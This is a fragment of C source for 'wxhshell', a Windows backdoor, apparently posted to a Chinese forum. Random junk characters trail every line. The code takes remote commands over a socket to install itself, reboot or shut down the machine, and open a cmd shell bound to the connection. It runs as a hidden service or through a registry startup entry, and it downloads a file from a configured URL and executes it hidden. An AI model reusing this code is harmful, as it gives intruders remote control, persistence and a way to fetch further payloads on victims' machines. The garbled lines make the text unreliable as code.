  else { x%pC.0%  
g{.>nE^Sc5  
    switch(cmd[0]) { %0fF_OU  
  I?YTX  
  // 帮助 Dd-;;Y1C  
  case '?': { +FfT)8@W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \_Nr7sc\  
    break; 5+vCuVZ  
  } |Zr5I";  
  // 安装 ;5:g%Dt  
  case 'i': { &tB|l_p_-p  
    if(Install()) 4EQ7OGU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MqGF~h|+  
    else |5 _bFB+&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'b:e`2fl  
    break; ;2Db/"`t  
    } bW(+Aw=O  
  // 卸载 'Y IFHn$!  
  case 'r': { M$DJ$G|Z  
    if(Uninstall()) lTY%,s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +c.A|!-  
    else l=8)_z;~D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&M $S$y  
    break; *:J#[ET,  
    } xphw0Es  
  // 显示 wxhshell 所在路径 (# Z2  
  case 'p': { 7}OzTup  
    char svExeFile[MAX_PATH]; Fvf308[  
    strcpy(svExeFile,"\n\r"); S~d_SU~>`  
      strcat(svExeFile,ExeFile); IT! a)d  
        send(wsh,svExeFile,strlen(svExeFile),0); &I Iw>,,  
    break; 1mhX3  
    } (Z"QHfO'  
  // 重启 :@jhe8'w  
  case 'b': { SweaE Rl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LTj;e[  
    if(Boot(REBOOT)) >y mMQEX`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U_v{Vs  
    else { /+l3 BeL  
    closesocket(wsh); `au(' xi<  
    ExitThread(0); z`qBs  
    } hLPg=8nJ_  
    break; 0,)B~|+  
    } |7,|-s[R^  
  // 关机 no- Lx-x  
  case 'd': { L&=j O0_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A`v(hBM  
    if(Boot(SHUTDOWN)) %VOn;_Q*B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}uFp|df<  
    else { ,B%M P<Rz1  
    closesocket(wsh); xB_F?d40T5  
    ExitThread(0); #/$}zl  
    } E{kh)-  
    break; AWHB^}!}  
    } e:hkWcV  
  // 获取shell m(>_C~rGN  
  case 's': { Xt~`EN  
    CmdShell(wsh); 4o8uWS{`  
    closesocket(wsh); v+U( #"  
    ExitThread(0); Ev* b  
    break; qIcQPJn!}  
  } u.*@ l GVW  
  // 退出 g <^Y^~+E  
  case 'x': { |={><0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }^Be^a<ub  
    CloseIt(wsh); Nr=ud QA{  
    break; NsJt=~  
    } hYMIe]kJ  
  // 离开 ;<`F[V Zau  
  case 'q': { I'2:>44>I6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =A={ Dpv[>  
    closesocket(wsh); )k01K,%#)  
    WSACleanup(); pA%XqG*=Y  
    exit(1); <9 lZ%j;  
    break; $3S6{"  
        } j89|hG)2  
  } tRRPNY  
  } kKVd4B[#*  
%[\: 8  
  // 提示信息 jK/2n}q&]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a]'sby  
} wNL!T6"G  
  } JW9^C  
,X(P/x{B  
  return; ((^jyQ  
} )QE7$|s  
*cx mQ  
// shell模块句柄 ?(Q" y\  
int CmdShell(SOCKET sock) tt%Zwf  
{ r?Jxl<  
STARTUPINFO si; # eqt{  
ZeroMemory(&si,sizeof(si)); F,Y,0f@4U9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VvN52 qeL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '$pT:4EuGq  
PROCESS_INFORMATION ProcessInfo; J2Y-D'*s  
char cmdline[]="cmd"; "<ow;ciJF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); In^MZ)?  
  return 0; "}Kvx{L8  
} dl;~-'0  
p 2x OjS1  
// 自身启动模式 *F*c  
int StartFromService(void) D5fJuT-bp  
{ W/ZmG]sZE  
typedef struct #q`[(`Bx  
{ !R;P"%PHV  
  DWORD ExitStatus; '#$Y :/  
  DWORD PebBaseAddress; <h|XB}s+  
  DWORD AffinityMask; VTk6.5!8  
  DWORD BasePriority; <J-bDcp  
  ULONG UniqueProcessId; 6TJ5G8z_  
  ULONG InheritedFromUniqueProcessId; &B^#? vmO  
}   PROCESS_BASIC_INFORMATION; <GPL8D  
~R/w~Kc!/A  
PROCNTQSIP NtQueryInformationProcess; $V-]DD%Y  
k%E9r'Ac  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B 3|zR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 21D4O,yCe  
E0[!jZ:c  
  HANDLE             hProcess; kv&%$cA  
  PROCESS_BASIC_INFORMATION pbi; N ?Jr8  
qJ|ByZ.N+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [1B F8:  
  if(NULL == hInst ) return 0; J9S9r ir&  
D}'g4Ag  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mj5$ 2J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ol H{!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I2kqA5>)j  
JbpKstc;  
  if (!NtQueryInformationProcess) return 0; -/|O*oZ  
I7TdBe-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0i\ol9,bf  
  if(!hProcess) return 0; "Pi\I9M3  
bcL>S$B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,6Sa  
pq_DYG]  
  CloseHandle(hProcess); ~K%]9  
$l-|abLELz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mE)65@3%  
if(hProcess==NULL) return 0; %Q5D#d"p`  
uXq?Z@af|f  
HMODULE hMod; 9XWF&6w6yf  
char procName[255]; h Vz%{R"  
unsigned long cbNeeded; #<f}.P.Uc  
yveyAsN`B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yf.H$L  
uW%7X2K  
  CloseHandle(hProcess); MuB8gSu  
3Gq Js  
if(strstr(procName,"services")) return 1; // 以服务启动 @+~=h{jv<  
v:1l2Y)g  
  return 0; // 注册表启动 58zs% +F  
} ~J?O~p`&  
AE!WYE  
// 主模块 LinARMPv  
int StartWxhshell(LPSTR lpCmdLine) PbxuD*LQ.  
{ '&Ox,i]t  
  SOCKET wsl; z"o;|T:  
BOOL val=TRUE; b7R#tT  
  int port=0; NHA 2 i  
  struct sockaddr_in door; fHvQ9*T  
f/Km$#xOr  
  if(wscfg.ws_autoins) Install(); WS9n.opl}  
Ug^C}".&  
port=atoi(lpCmdLine); ;OQ-T+(T  
d='z^vHK  
if(port<=0) port=wscfg.ws_port; piJ/e  
vW]Frb  
  WSADATA data; 1Uz'= a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,e+.Q#r*Y  
N%;Q[*d@/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "BjQs<]%sF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r4t|T^{sl  
  door.sin_family = AF_INET; Z)'jn8?P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W093rNF~  
  door.sin_port = htons(port); d=WC1"  
qyl~*r*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]_I<-}?;  
closesocket(wsl); %8/Gsu;  
return 1; %\N.m/5  
} //@_`.  
Hf+A52lrf  
  if(listen(wsl,2) == INVALID_SOCKET) { 'j#oMA{0  
closesocket(wsl); g3n^ <[E  
return 1; hor ok:{  
} Djx9TBZ5  
  Wxhshell(wsl); Noz+\O\  
  WSACleanup(); /' L20aN2  
[?Y u3E\  
return 0; OdgfvHDgW  
p9R`hgx  
} ]n?a h  
D}"\nCz}y&  
// 以NT服务方式启动 j)Kk:BFFY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qMYR\4"$  
{ G39H@@ *O0  
DWORD   status = 0; Q nZR  
  DWORD   specificError = 0xfffffff; ^q"p 8   
[ /*$?PXt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ({D.oS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Y=s_)X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o;FjpZ  
  serviceStatus.dwWin32ExitCode     = 0; :eS7"EG{3  
  serviceStatus.dwServiceSpecificExitCode = 0; FePJ8  
  serviceStatus.dwCheckPoint       = 0; n-,~Bp [  
  serviceStatus.dwWaitHint       = 0; 8>j+xbw  
G,{L=x Oh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FU!U{qDI  
  if (hServiceStatusHandle==0) return; V)R-w`  
GK/a^[f+'l  
status = GetLastError(); o]n5pZ\\W<  
  if (status!=NO_ERROR) eC9~ wc  
{ ]=9%fA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q "bpI8j  
    serviceStatus.dwCheckPoint       = 0; Bx E1Ky8@A  
    serviceStatus.dwWaitHint       = 0; aFo%B; 8m  
    serviceStatus.dwWin32ExitCode     = status; 6`NsX  
    serviceStatus.dwServiceSpecificExitCode = specificError; =N<Hc:<t4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uI%h$  
    return; 5<IUTso5h  
  } ;Iw'TF   
!f)'+_d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gtJ^8khME  
  serviceStatus.dwCheckPoint       = 0; ]gTa TY  
  serviceStatus.dwWaitHint       = 0; )_+"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {ZbeF#*"  
} x0.&fCh%  
z-[Jbjhd  
// 处理NT服务事件,比如:启动、停止 {0QD-b o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aEXV^5;,pJ  
{ \#tr4g~u  
switch(fdwControl) qfC9 {gu  
{ 0J$wX yh  
case SERVICE_CONTROL_STOP: ""D rf=]  
  serviceStatus.dwWin32ExitCode = 0; 1>a^Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;}f%bE  
  serviceStatus.dwCheckPoint   = 0; rZGbU&ZM8  
  serviceStatus.dwWaitHint     = 0; cWFvYF  
  { ( 4ow0}1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G2a fHL<  
  } FD|R4 V*3  
  return; GD[~4G  
case SERVICE_CONTROL_PAUSE: :KX/`   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H=X>o.iVqi  
  break; zF)_t S  
case SERVICE_CONTROL_CONTINUE: m>:%[vm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q,u >`]}  
  break; Uj k``;  
case SERVICE_CONTROL_INTERROGATE: 5 F^,7A4I0  
  break; NWCnt,FlY  
}; xO1d^{~^^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6J%SkuxR  
} XF^c(*5  
ys+?+dY2  
// 标准应用程序主函数 t T-]Vj.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ap,XFRMh  
{ z@~1e]%  
q6j]j~JxB  
// 获取操作系统版本 /unOZVr(  
OsIsNt=GetOsVer(); Q2 rZMK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m 7 Fz&bN  
IZAbW  
  // 从命令行安装 GmAE!+"  
  if(strpbrk(lpCmdLine,"iI")) Install(); apY m,_  
u8o7J(aQsR  
  // 下载执行文件 y9s5{\H  
if(wscfg.ws_downexe) { q<hN\kBs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sE/9~L  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pv1psKu  
} v Z]gb$  
{B\.8)&8  
if(!OsIsNt) { &-cI|  
// 如果时win9x,隐藏进程并且设置为注册表启动 lq.0?(  
HideProc(); pQVi&(M  
StartWxhshell(lpCmdLine); WM@uxe,  
} /E]4N=T  
else ew`R=<mZ,7  
  if(StartFromService()) "A/kL@-C  
  // 以服务方式启动 , R^Pk6m>  
  StartServiceCtrlDispatcher(DispatchTable); ,{oP`4\Lm  
else W_sDF; JP  
  // 普通方式启动 "X]u fZ7  
  StartWxhshell(lpCmdLine); Z@ I%ppd  
-3 W 4  
return 0; 8L=QfKr  
}
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只看该作者 1 发表于: 2006-10-10
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